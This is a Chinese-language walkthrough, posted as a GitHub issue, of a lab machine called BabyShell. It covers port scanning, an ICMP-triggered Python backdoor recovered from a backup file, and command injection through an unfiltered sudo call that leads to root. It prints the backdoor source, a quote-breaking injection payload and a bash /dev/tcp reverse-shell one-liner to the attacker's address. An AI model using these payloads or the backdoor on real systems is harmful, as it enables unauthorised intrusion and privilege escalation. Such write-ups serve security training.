Skip to content

BabyShell-MJ #3

@faabbi

Description

@faabbi

1.信息收集

┌──(root㉿kali)-[/tmp/test]
└─# nmap --min-rate 10000 -p- 192.168.2.9
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-09 02:03 EST
Nmap scan report for 192.168.2.9
Host is up (0.00038s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 08:00:27:FE:B7:5D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 9.91 seconds

只开放了22和80端口
对80端口进行进一步探测

┌──(root㉿kali)-[/tmp/test]
└─# nmap -sV -sC -p80 192.168.2.9       
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-09 02:05 EST
Nmap scan report for 192.168.2.9
Host is up (0.00023s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:FE:B7:5D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.95 seconds
                                                                                                         
┌──(root㉿kali)-[/tmp/test]
└─# nmap --script=vuln -p80 192.168.2.9 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-09 02:05 EST
Nmap scan report for 192.168.2.9
Host is up (0.00028s latency).

PORT   STATE SERVICE
80/tcp open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-enum: 
|_  /backup.zip: Possible backup
MAC Address: 08:00:27:FE:B7:5D (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 37.38 seconds

发现备份文件,有些内容被删了,不过大体可以命令执行

┌──(root㉿kali)-[/tmp/test]
└─# cat icmp.py 
#!/usr/bin/env python3
import os
import sys
import socket
import struct
import time
import subprocess
import signal
import threading
from scapy.all import ICMP, IP, Raw, send, sniff, Ether
import base64

TRIGGER_SEQUENCE = b"Mazesec"
LISTEN_INTERFACE = "enp0s3"
SERVER_IP = "0.0.0.0"

class ICMPServer:
    def __init__(self):
        self.running = True
        self.client_ips = {}
    
    def signal_handler(self, sig, frame):
        print("\n[!] Stopping server...")
        self.running = False
        sys.exit(0)
    
    def execute_command_as_user(self, command, uid=1000, timeout=30):
    
    def parse_icmp_command(self, packet_data):
        try:
            trigger_len = len(TRIGGER_SEQUENCE)
            if len(packet_data) < trigger_len + 4:
                return None
            
            if packet_data[:trigger_len] != TRIGGER_SEQUENCE:
                return None
            
            cmd_len = struct.unpack('>I', packet_data[trigger_len:trigger_len+4])[0]
            
            if cmd_len <= 0 or cmd_len > 4096:
                return None
            
            if len(packet_data) < trigger_len + 4 + cmd_len:
                return None
                
            command = packet_data[trigger_len+4:trigger_len+4+cmd_len].decode('utf-8', errors='ignore')
            return command
            
        except Exception as e:
            print(f"[-] Parse error: {e}")
            return None
    
    def create_icmp_response(self, original_packet, result):
        try:
            result_bytes = result.encode('utf-8') if isinstance(result, str) else result
            result_len = len(result_bytes)
            trigger_len = len(TRIGGER_SEQUENCE)
            
            payload = TRIGGER_SEQUENCE
            payload += struct.pack('>I', result_len)
            payload += result_bytes
            
            response = IP(dst=original_packet[IP].src) / \
                      ICMP(type=0, id=original_packet[ICMP].id, seq=original_packet[ICMP].seq) / \
                      Raw(load=payload)
            
            return response
            
        except Exception as e:
            print(f"[-] Response creation error: {e}")
            return None
    
    def handle_icmp_packet(self, packet):
        if not self.running:
            return
        
        try:
            if packet.haslayer(ICMP) and packet[ICMP].type == 8:
                src_ip = packet[IP].src
                
                if packet.haslayer(Raw):
                    icmp_data = bytes(packet[Raw].load)
                    
                    command = self.parse_icmp_command(icmp_data)
                    
                    if command:
                        print(f"[+] Command from {src_ip}: {command}")
                        
                        # 以UID 1000执行命令
                        result = self.execute_command_as_user(command, 1000)
                        print(f"[+] Result length: {len(result)}")
                        
                        # 以root权限发送ICMP响应
                        response = self.create_icmp_response(packet, result)
                        if response:
                            send(response, verbose=0)
                            print(f"[+] Response sent to {src_ip}")
                        
                        self.client_ips[src_ip] = time.time()
                    
        except Exception as e:
            print(f"[-] Packet handling error: {e}")
    
    def start_server(self):
        
        signal.signal(signal.SIGINT, self.signal_handler)
        signal.signal(signal.SIGTERM, self.signal_handler)
        
def main():
    server = ICMPServer()
    server.start_server()

if __name__ == "__main__":
    main()

2.zero

exp拿到反弹shell,交互很有限弹个正常shell到2332端口

┌──(root㉿kali)-[/tmp/test]
└─# python3 ez.py 192.168.2.9 
[*] Testing connection to 192.168.2.9...
[→] Sending: whoami
[←] Response received (5 bytes)
[+] Backdoor active! Current user: zero

[*] Gathering system information...
[→] Sending: id
[←] Response received (48 bytes)

=== id ===
uid=1000(zero) gid=1000(zero) groups=1000(zero)

[→] Sending: uname -a
[←] Response received (87 bytes)

=== uname -a ===
Linux BabyShell 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64 GNU/Linux

[→] Sending: pwd
[←] Response received (2 bytes)

=== pwd ===
/

[→] Sending: ls -la
[←] Response received (6 bytes)

=== ls -la ===
ls -la
[→] Sending: cat /etc/passwd | head -20
[←] Response received (1016 bytes)

=== cat /etc/passwd | head -20 ===
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin

[→] Sending: ip addr show
[←] Response received (817 bytes)

=== ip addr show ===
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: enp0s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:fe:b7:5d brd ff:ff:ff:ff:ff:ff
    inet 192.168.2.9/24 brd 192.168.2.255 scope global dynamic enp0s3
       valid_lft 80142sec preferred_lft 80142sec
    inet6 240e:33d:3d:28b1:a00:27ff:fefe:b75d/64 scope global dynamic mngtmpaddr 
       valid_lft 256115sec preferred_lft 169715sec
    inet6 fe80::a00:27ff:fefe:b75d/64 scope link 
       valid_lft forever preferred_lft forever

[→] Sending: ps aux | head -10
[←] Response received (795 bytes)

=== ps aux | head -10 ===
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.5  98848 10236 ?        Ss   00:23   0:00 /sbin/init
root           2  0.0  0.0      0     0 ?        S    00:23   0:00 [kthreadd]
root           3  0.0  0.0      0     0 ?        I<   00:23   0:00 [rcu_gp]
root           4  0.0  0.0      0     0 ?        I<   00:23   0:00 [rcu_par_gp]
root           6  0.0  0.0      0     0 ?        I<   00:23   0:00 [kworker/0:0H-kblockd]
root           8  0.0  0.0      0     0 ?        I<   00:23   0:00 [mm_percpu_wq]
root           9  0.0  0.0      0     0 ?        S    00:23   0:00 [ksoftirqd/0]
root          10  0.0  0.0      0     0 ?        I    00:23   0:00 [rcu_sched]
root          11  0.0  0.0      0     0 ?        I    00:23   0:00 [rcu_bh]

[*] Starting interactive ICMP shell (type 'exit' to quit)
icmp-shell>

shell优化

┌──(root㉿kali)-[/tmp/test]
└─# nc -lvvp 2332                    
listening on [any] 2332 ...
192.168.2.5: inverse host lookup failed: Unknown host
connect to [192.168.2.5] from (UNKNOWN) [192.168.2.5] 33456
bash: cannot set terminal process group (341): Inappropriate ioctl for device
bash: no job control in this shell
zero@BabyShell:/$ python3 -c "import pty;pty.spawn('/bin/bash')"
python3 -c "import pty;pty.spawn('/bin/bash')"
zero@BabyShell:/$ export SHELL=/bin/bash
export SHELL=/bin/bash
zero@BabyShell:/$ export TERM=xterm-256color
export TERM=xterm-256color
zero@BabyShell:/$ ^Z
zsh: suspended  nc -lvvp 2332
                                                                                                              
┌──(root㉿kali)-[/tmp/test]
└─# stty -a             
speed 38400 baud; rows 24; columns 110; line = 0;
intr = ^C; quit = ^\; erase = ^H; kill = ^U; eof = ^D; eol = <undef>; eol2 = <undef>; swtch = <undef>;
start = ^Q; stop = ^S; susp = ^Z; rprnt = ^R; werase = ^W; lnext = ^V; discard = ^O; min = 1; time = 0;
-parenb -parodd -cmspar cs8 -hupcl -cstopb cread -clocal -crtscts
-ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr icrnl -ixon -ixoff -iuclc -ixany -imaxbel iutf8
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel nl0 cr0 tab0 bs0 vt0 ff0
isig icanon iexten echo echoe echok -echonl -noflsh -xcase -tostop -echoprt echoctl echoke -flusho -extproc

┌──(root㉿kali)-[/tmp/test]
└─# stty raw -echo;fg
[1]  + continued  nc -lvvp 2332
                               reset

3.root

opt下发现完整icmp服务端源码,具体关注execute_command_as_user函数内容

def execute_command_as_user(self, command, uid=1000, timeout=30):
        try:
            # 使用sudo以指定用户执行命令
            result = subprocess.check_output(
                f"sudo -u zero bash -c '{command}'",
                shell=True,
                stderr=subprocess.STDOUT,
                timeout=timeout,
                text=True
            )
            return result
        except subprocess.TimeoutExpired:
            return f"Error: Command timeout"
        except subprocess.CalledProcessError as e:
            return f"Error: Exit code {e.returncode}\nOutput: {e.output}"
        except Exception as e:
            return f"Error: {str(e)}"
            
可以看到f"sudo -u zero bash -c '{command}'"是root执行的而且没有过滤,那就直接拼接拿shell就行
传入command ';whoami'

┌──(root㉿kali)-[/tmp/test]
└─# python3 ez.py 192.168.2.9
[*] Testing connection to 192.168.2.9...
[→] Sending: ';whoami'
[←] Response received (5 bytes)
[+] Backdoor active! Current user: root

能成功执行那就开始反弹shell

反弹报错fd的可以看这个博客
解决ubuntu crontab反弹shell失败的问题 | m3lon

payload:';bash -c 'bash -i >&/dev/tcp/192.168.2.5/2333 0>&1''

┌──(root㉿kali)-[/tmp/test]
└─# python3 exp.py 192.168.2.9         
[*] Testing connection to 192.168.2.9...
[→] Sending: ';bash -c 'bash -i  >&/dev/tcp/192.168.2.5/2333 0>&1''
[←] Response received (54 bytes)
[+] Backdoor active! Current user: ';bash -c 'bash -i  >&/dev/tcp/192.168.2.5/2333 0>&1''


┌──(root㉿kali)-[~]
└─# nc -lvvp 2333
listening on [any] 2333 ...
192.168.2.5: inverse host lookup failed: Unknown host
connect to [192.168.2.5] from (UNKNOWN) [192.168.2.5] 42254
bash: cannot set terminal process group (341): Inappropriate ioctl for device
bash: no job control in this shell
root@BabyShell:/# 

接到root shell

Metadata

Metadata

Assignees

No one assigned

    Labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions